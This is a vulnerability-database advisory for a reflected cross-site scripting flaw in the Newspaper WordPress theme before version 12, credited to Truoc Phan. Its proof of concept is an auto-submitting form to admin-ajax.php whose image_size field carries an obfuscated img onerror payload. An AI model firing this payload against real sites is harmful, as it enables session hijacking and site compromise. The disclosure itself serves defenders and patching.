Themes Vulnerabilities
Newspaper < 12 - Reflected Cross-Site Scripting
Description
The theme does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting
Proof of Concept
Affected parameter: acts.td_atts.image_size <html> <body onload="document.forms[0].submit()"> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="td_ajax_search" /> <input type="hidden" name="module" value="tdb_module_search" /> <input type="hidden" name="atts" value='{"modules_on_row":"eyJhbGwiOiIzMy4zMzMzMzMzMyUiLCJwaG9uZSI6IjEwMCUifQ==","limit":"3","modules_category":"image","show_btn":"none","show_excerpt":"none","ajax_pagination":"next_prev","td_ajax_preloading":"","sort":"","category_id":"24","f_title_font_size":"eyJwb3J0cmFpdCI6IjEzIiwiYWxsIjoiMTUiLCJwaG9uZSI6IjE0In0=","f_title_font_line_height":"eyJhbGwiOiIxLjMiLCJwaG9uZSI6IjEuNCJ9","modules_gap":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTUiLCJwaG9uZSI6IjE1In0=","show_com":"none","show_date":"eyJhbGwiOiJub25lIiwicGhvbmUiOiJpbmxpbmUtYmxvY2sifQ==","show_author":"none","image_height":"70","f_title_font_weight":"500","all_modules_space":"eyJhbGwiOiIyMCIsImxhbmRzY2FwZSI6IjIwIiwicG9ydHJhaXQiOiIxNSIsInBob25lIjoiMjYifQ==","custom_title":"HOUSE DESIGN","header_color":"#5d7987","image_floated":"eyJwaG9uZSI6ImZsb2F0X2xlZnQifQ==","image_width":"eyJwaG9uZSI6IjMwIn0=","meta_info_align":"","meta_margin":"eyJwaG9uZSI6IjAgMCAwIDE2cHgifQ==","meta_padding":"eyJwaG9uZSI6IjAifQ==","video_icon":"eyJwb3J0cmFpdCI6IjI0IiwicGhvbmUiOiIyNCJ9","image_size":"td_485x360><img src=x onerror=constructor.constructor('aler'+'t(document.domain)')()>","block_type":"td_flex_block_1","separator":"","custom_url":"","block_template_id":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","post_ids":"","category_ids":"","tag_slug":"","autors_id":"","installed_post_types":"","offset":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","el_class":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","image_alignment":"50","image_radius":"","hide_image":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_horiz":"layout-default","meta_width":"","meta_space":"","art_title":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","show_cat":"inline-block","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_review":"inline-block","review_space":"","review_size":"2.5","review_distance":"","art_excerpt":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radius":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_family":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_weight":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","title_txt":"","title_txt_hover":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination_infinite_stop":"","css":"","tdc_css":"","td_column_number":2,"color_preset":"","border_top":"","class":"tdi_97","tdc_css_class":"tdi_97","tdc_css_class_style":"tdi_97_rand_style"}' /> <input type="hidden" name="td_string" value="x" /> <input type="hidden" name="limit" value="6" /> </form> </body> </html>
Affects Themes
Fixed in 12
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Truoc Phan from Techlab Corporation
Submitter
Truoc Phan
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-10-10 (about 1 years ago)
Added
2022-10-10 (about 1 years ago)
Last Updated
2022-10-10 (about 1 years ago)